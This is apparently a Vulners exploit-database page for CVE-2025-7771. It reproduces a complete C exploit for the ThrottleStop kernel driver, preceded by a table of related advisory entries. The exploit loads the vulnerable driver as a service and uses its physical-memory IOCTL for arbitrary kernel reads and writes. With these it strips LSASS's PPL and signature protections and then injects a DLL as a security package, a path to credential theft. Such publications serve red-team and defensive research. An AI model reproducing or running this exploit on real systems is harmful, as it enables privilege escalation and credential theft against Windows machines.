| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Exploit for CVE-2025-7771 | 18 Aug 202508:24 | – | githubexploit | |
| Exploit for CVE-2026-0828 | 4 Feb 202601:47 | – | githubexploit | |
| Exploit for CVE-2025-7771 | 3 Oct 202516:17 | – | githubexploit | |
| Exploit for CVE-2025-7771 | 17 Apr 202623:06 | – | githubexploit | |
| Exploit for CVE-2025-7771 | 21 Jan 202613:04 | – | githubexploit | |
| throttlestop-poc | 7 May 202608:01 | – | githubexploit | |
| CVE-2025-7771 | 6 Aug 202516:29 | – | circl | |
| TechPowerUp ThrottleStop 安全漏洞 | 6 Aug 202500:00 | – | cnnvd | |
| CVE-2025-7771 | 6 Aug 202509:35 | – | cve | |
| CVE-2025-7771 Code Execution / Escalation of Privileges in ThrottleStop | 6 Aug 202509:35 | – | cvelist |
# Exploit Title: Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation
# Exploit Details: https://xavibel.com/2025/12/22/using-vulnerable-drivers-in-red-team-exercises/
# Date: 8/12/2025
# Exploit Author: Xavi Beltran
# Vendor Homepage: https://www.techpowerup.com/download/techpowerup-throttlestop/
# Version: 3.0.0.0
# Tested on: Windows 11
# CVE-2025-7771
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <Psapi.h>
#include <superfetch/superfetch.h>
#include <tlhelp32.h>
#include <string>
#include <sspi.h>
# define IOCTL_MMMAPIOSPACE 0x8000645C
#pragma comment(lib, "Secur32.lib")
#pragma pack(push,1)
typedef struct {
ULONGLONG PhysicalAddress; // +0
DWORD NumberOfBytes; // +8
} PHYS_REQ; // 0x0C
#pragma pack(pop)
// Struct needed to call nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
LPVOID GetBaseAddr(LPCWSTR drvname)
{
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
WCHAR szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++)
{
if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
{
if (wcscmp(szDrivers, drvname) == 0)
{
return drivers[i];
}
}
}
}
return 0;
}
uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return 0;
}
auto phys = mm->translate((void*)virt_addr);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return 0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
// --- PHYSICAL READ ---
PHYS_REQ in{};
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // Accepts 4 or 8
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsigned long long)virt_addr, (unsigned long long)result);
return result;
}
return -1;
}
uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return 0;
}
auto phys = mm->translate((void*)where);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)where);
return 0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
PHYS_REQ in{};
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // 8 (Accepts 4 or 8)
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
}
// WRITE
printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsigned long long)what, (unsigned long long)where);
*(uint64_t*)out = what;
return 0;
}
DWORD FindProcessId(const std::wstring& processName) {
DWORD processId = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32W entry;
entry.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &entry)) {
do {
if (!_wcsicmp(entry.szExeFile, processName.c_str())) {
processId = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
return processId;
}
int main()
{
DWORD lsassPid = FindProcessId(L"lsass.exe");
printf("[+] Target process PID: %d\n", lsassPid);
//Installing the service
SC_HANDLE hSCManager;
SC_HANDLE hService;
// Open the Service Control Manager
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (hSCManager == NULL) {
printf("[!] Error opening SCM: %lu\n", GetLastError());
return 1;
}
// Create the service
hService = CreateService(
hSCManager,
L"ThrottleStop",
L"ThrottleStop",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
L"C:\\Users\\Public\\a.sys",
NULL, NULL, NULL, NULL, NULL);
if (hService == NULL) {
printf("[+] Error creating service: %lu\n", GetLastError());
CloseServiceHandle(hSCManager);
//return 1;
}
printf("[!] Service created successfully.\n");
if (!StartService(hService, 0, NULL)) {
printf("[!] Error starting the service: %lu\n", GetLastError());
}
else {
printf("[+] Service started correctly.\n");
}
LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
printf("[+] NT base: %p\n", nt_base);
HANDLE hDrv = NULL;
hDrv = CreateFileA("\\\\.\\ThrottleStop",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDrv == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on driver!\n");
return -1;
}
else {
printf("[+] Handle on driver received!\n");
}
ULONGLONG result = 0x0;
// nt!PsInitialSystemProcess nt + 0x5412e0
ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0;
DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess);
printf("[+] EPROCESS: 0x%llX\n", Eprocess);
DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
DWORD64 SearchProcessPid = 0;
DWORD64 searchEprocess = Eprocess;
while (1)
{
searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) - 0x2e8; // +0x2e8 ActiveProcessLinks : _LIST_ENTRY
SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
if (SearchProcessPid == lsassPid) // LSASS PROCESS
{
break;
}
}
printf("[+] Found LSASS EPROCESS!\n");
printf("[+] Removing PPL Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); // +0x6ca Protection : _PS_PROTECTION
printf("[+] Removing Signature Level Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar
printf("[+] LSASS protections disabled\n");
CloseHandle(hDrv);
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo);
printf("[+] DLL Injection successful!\n");
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation